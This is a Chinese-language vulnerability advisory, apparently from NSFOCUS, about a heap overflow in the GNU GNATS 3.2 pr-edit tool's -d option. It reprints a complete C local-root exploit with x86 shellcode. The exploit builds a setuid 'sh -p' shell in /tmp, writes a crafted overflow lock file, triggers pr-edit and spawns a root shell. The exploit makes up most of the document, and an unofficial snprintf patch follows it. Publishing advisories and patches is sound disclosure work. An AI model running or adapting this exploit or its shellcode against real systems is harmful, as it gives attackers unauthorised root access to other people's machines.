安全研究
安全漏洞
GNU GNATS pr-edit命令行选项堆破坏漏洞
发布日期:2003-06-21
更新日期:2003-06-30
受影响系统:
GNU GNATS 3.2描述:
BUGTRAQ ID: 8003
GNATS是一款GNU漏洞、缺陷跟踪系统。
GNATS的pr-edit工具在处理命令行选项时缺少正确边界缓冲区检查,本地攻击者可以利用这个漏洞进行基于堆的溢出攻击,可以root用户权限在系统上执行任意指令。
pr-edit工具在对用户提交给'-d'命令行选项的参数时缺少正确检查,攻击者提交超长字符串作为此参数数据,可以触发溢出,精心构建提交数据可能以root用户权限在系统上执行任意指令。
<*来源:dong-h0un U (xploit@hackermail.com)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=105638591907836&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/*
**
** GNATS v3.2 (The GNU bug-tracking system) local root 0day exploit
**
** Tested RedHat Linux 6.x,7.x (also, 8.x,9.x)
**
** --
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.i21c.net & http://x82.inetcop.org
*/
/* -=-= POINT! POINT! POINT! POINT! POINT! =-=-
**
** [?] Why is root setuid established in Linux?
**
** When install, user who is gnats must exist to system.
** If don't exist, setuid has been established by root's uid.
**
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/stat.h>
#define DF_SIZE (255)
#define T_G "/usr/local/lib/gnats/pr-edit" /* It's Default path */
#define DF_LK_NM "./x82" /* User,Lock: x82 */
#define DF_MK_DIR "/tmp/"
#define DF_BK_SHL "/tmp/gnats-0day"
#define GCC_V_DEF (1)
void own_banrl();
void own_usage(char *own_f_nm);
int __gnats_adm_mkdir();
int __gants_adm_gnats_dot_lock_flow(u_long own_sh,int gv_type);
void psh_addr(FILE *fp,u_long addr);
int make_sh(char *own_d_nm);
struct stat s_t;
char df_mk_dir[(DF_SIZE)]; /* gnats-adm dir path */
char df_mk_lk[(DF_SIZE)]; /* user.lock file path */
char df_mk_tmp[(DF_SIZE)]; /* gnats.lock file path */
char shellcode[(DF_SIZE)]={
/* chown root: ;chmod 6755 ; */
0x90,0x40,0x90,0x40,0x90,0x40,0x90,0x40,
0x90,0x40,0x90,0x40,0x90,0x40,0x90,0x40,
0x90,0x40,0x90,0x40,0x90,0x40,0x90,0x40,
0x90,0x40,0x90,0x40,0x90,0x40,0x90,0x40,
0xeb,0x1d,0x5e,0x31,0xc0,0xb0,0xb6,0x89,
0xf3,0x31,0xc9,0x31,0xd2,0xcd,0x80,0x31,
0xc0,0xb0,0x0f,0x66,0xb9,0xed,0x0d,0xcd,
0x80,0xb0,0x01,0x31,0xdb,0xcd,0x80,0xe8,
0xde,0xff,0xff,0xff
};
int make_sh(char *own_d_nm)
{
FILE *fp;
char d_src[(DF_SIZE)];
char st_exec[(DF_SIZE)*2];
memset((char *)d_src,0,sizeof(d_src));
snprintf(d_src,sizeof(d_src)-1,"%s.c",own_d_nm);
if((fp=fopen(d_src,"w"))==(NULL))
{
return(-1);
}
fprintf(fp,"main()\n"
"{\n"
"setreuid(0,0);"
"setregid(0,0);"
"setuid(0);"
"setgid(0);"
"system(\"sh -p\");"
"\n}\n");
fclose(fp);
memset((char *)st_exec,0,sizeof(st_exec));
snprintf(st_exec,sizeof(st_exec)-1,
"gcc -o %s %s >/dev/null 2>&1",own_d_nm,d_src);
system(st_exec);
unlink(d_src);
if(stat(own_d_nm,&s_t)==(0))
{
return(0);
}
else return(-1);
}
void own_banrl()
{
fprintf(stdout,"\n GNATS v3.2 (The GNU bug-tracking system) local root exploit.\n");
fprintf(stdout," by Xpl017Elz.\n\n");
}
void own_usage(char *own_f_nm)
{
fprintf(stdout," Usage: %s -option [argument]\n\n",own_f_nm);
fprintf(stdout,"\t -p [pr-edit path] : GNATS pr-edit path.\n",(T_G));
fprintf(stdout,"\t -t [target num] : Select gcc version number.\n",(GCC_V_DEF));
fprintf(stdout,"\t\t\t{0} : gcc old version.\n");
fprintf(stdout,"\t\t\t{1} : gcc new version.\n");
fprintf(stdout,"\t -b [target path] : setuid shell path.\n");
fprintf(stdout,"\t -h : Help information.\n\n");
fprintf(stdout," Example: %s -p%s -t%d -b%s\n\n",own_f_nm,(T_G),(GCC_V_DEF),(DF_BK_SHL));
exit(0);
}
int __gnats_adm_mkdir()
{
memset((char *)df_mk_dir,0,sizeof(df_mk_dir));
memset((char *)df_mk_tmp,0,sizeof(df_mk_tmp));
snprintf(df_mk_dir,sizeof(df_mk_dir)-1,"%s/gnats-adm/",(DF_MK_DIR));
snprintf(df_mk_tmp,sizeof(df_mk_tmp)-1,"%s/gnats-adm/gnats.lock",(DF_MK_DIR));
mkdir(df_mk_dir,0x1ed);
if((stat(df_mk_dir,&s_t)==(0))&&(S_ISDIR(s_t.st_mode)))
{
return(0);
}
else return(-1);
}
void psh_addr(FILE *fp,u_long addr)
{
u_char __bf[4];
memset((u_char *)__bf,0,sizeof(__bf));
{
__bf[0]=(addr&0x000000ff)>>0;
__bf[1]=(addr&0x0000ff00)>>8;
__bf[2]=(addr&0x00ff0000)>>16;
__bf[3]=(addr&0xff000000)>>24;
}
fprintf(fp,"%c%c%c%c",__bf[0],__bf[1],__bf[2],__bf[3]);
}
int __gants_adm_gnats_dot_lock_flow(u_long own_sh,int gv_type)
{
FILE *fp;
int g_g_nm;
#define DF_FIRST_JNK (1024)
#define DF_SECOND_JNK (100)
int fst_junk_n=(DF_FIRST_JNK);
int scn_junk_n=(DF_SECOND_JNK);
memset((char *)df_mk_lk,0,sizeof(df_mk_lk));
snprintf(df_mk_lk,sizeof(df_mk_lk)-1,"%s/x82.lock",(DF_MK_DIR));
if(gv_type)
{
fst_junk_n+=8;
scn_junk_n+=28;
}
if((fp=fopen(df_mk_lk,"w"))==(NULL))
{
return(-1);
}
for(g_g_nm=(0);g_g_nm<fst_junk_n;g_g_nm++)
{
fprintf(fp,"F");
}
(void)psh_addr(fp,(u_long)stdout);
for(g_g_nm=(0);g_g_nm<scn_junk_n;g_g_nm++)
{
fprintf(fp,"S");
}
(void)psh_addr(fp,(u_long)own_sh);
fclose(fp);
}
int main(int argc,char **argv)
{
int w_g_dot_f;
pid_t fk_pid;
u_long own_sh_addl;
char *own_exect[2];
int gcc_v_on=(GCC_V_DEF);
char pth_own[(DF_SIZE)]=(T_G);
char bck_own[(DF_SIZE)]=(DF_BK_SHL);
(void)own_banrl();
while((w_g_dot_f=getopt(argc,argv,"P:p:T:t:B:b:Hh"))!=EOF)
{
extern char *optarg;
switch(w_g_dot_f)
{
case 'P':
case 'p':
memset((char *)pth_own,0,sizeof(pth_own));
strncpy(pth_own,optarg,sizeof(pth_own)-1);
break;
case 'T':
case 't':
if((gcc_v_on=(atoi(optarg)))>1)
{
(void)own_usage(argv[0]);
}
break;
case 'B':
case 'b':
memset((char *)bck_own,0,sizeof(bck_own));
strncpy(bck_own,optarg,sizeof(bck_own)-1);
break;
case 'H':
case 'h':
(void)own_usage(argv[0]);
break;
case '?':
(void)own_usage(argv[0]);
break;
}
}
fprintf(stdout," [0] Start, exploit.\n");
if((stat((pth_own),&s_t)!=(0)))
{
fprintf(stderr," [-] pr-edit path: %s not found.\n\n",(pth_own));
exit(-1);
}
fprintf(stdout," [+] exploit target: %s\n",(pth_own));
fprintf(stdout," [1] Make setuid shell.\n");
if((int)make_sh(bck_own)==(-1))
{
fprintf(stderr," [-] exploit failed.\n\n");
exit(-1);
}
fprintf(stdout," [+] Setuid shell path: %s\n",(bck_own));
fprintf(stdout," [2] Shellcode setting.\n");
{
own_sh_addl=((0xbfffffff)-(strlen(shellcode)+strlen(bck_own)));
strncat(shellcode,bck_own,sizeof(shellcode)-strlen(shellcode)-1);
own_exect[0]=(shellcode);
own_exect[1]=(NULL);
}
fprintf(stdout," [+] Shellcode address: %p\n",own_sh_addl);
fprintf(stdout," [3] Make `gnats-adm' directory.\n");
if((__gnats_adm_mkdir())==(-1))
{
fprintf(stderr," [-] make directory failed.\n\n");
exit(-1);
}
fprintf(stdout," [4] Make user.lock file.\n");
if((__gants_adm_gnats_dot_lock_flow(own_sh_addl,gcc_v_on))==(-1))
{
fprintf(stderr," [-] make lockfile failed.\n\n");
exit(-1);
}
fprintf(stdout," [+] Execute, Shellcode !!\n\n");
if((fk_pid=fork())==(0))
{
execle(pth_own,pth_own,"-l",(DF_LK_NM),"-d",(DF_MK_DIR),(DF_LK_NM),(NULL),own_exect);
}
wait(&fk_pid);
fprintf(stdout,"\n [5] Remove setting dir, files.\n");
unlink(df_mk_lk);
unlink(df_mk_tmp);
rmdir(df_mk_dir);
if((stat(bck_own,&s_t)==(0))&&(s_t.st_mode&S_ISUID))
{
fprintf(stdout," [+] exploit successfully.\n");
fprintf(stdout," [*] It's root shell !!\n\n");
execl((bck_own),(bck_own),(NULL));
}
else
{
fprintf(stderr," [-] exploit failed.\n\n");
exit(-1);
}
}
/* eoc */
建议:
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 非官方补丁下载:
--- internal.c Sat Dec 11 05:02:19 1993
+++ ../gnats.bak/internal.c Sat Jun 14 15:18:10 2003
@@ -203,7 +203,7 @@
struct stat buf;
int count;
- sprintf (path, "%s/gnats-adm/gnats.lock", gnats_root);
+ snprintf (path, PATH_MAX-1, "%s/gnats-adm/gnats.lock", gnats_root);
#define MAXWAIT 10
#define GRANULARITY 1
厂商补丁:
GNU
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.gnu.org/software/gnats/
浏览次数:2877
严重程度:0(网友投票)
绿盟科技给您安全的保障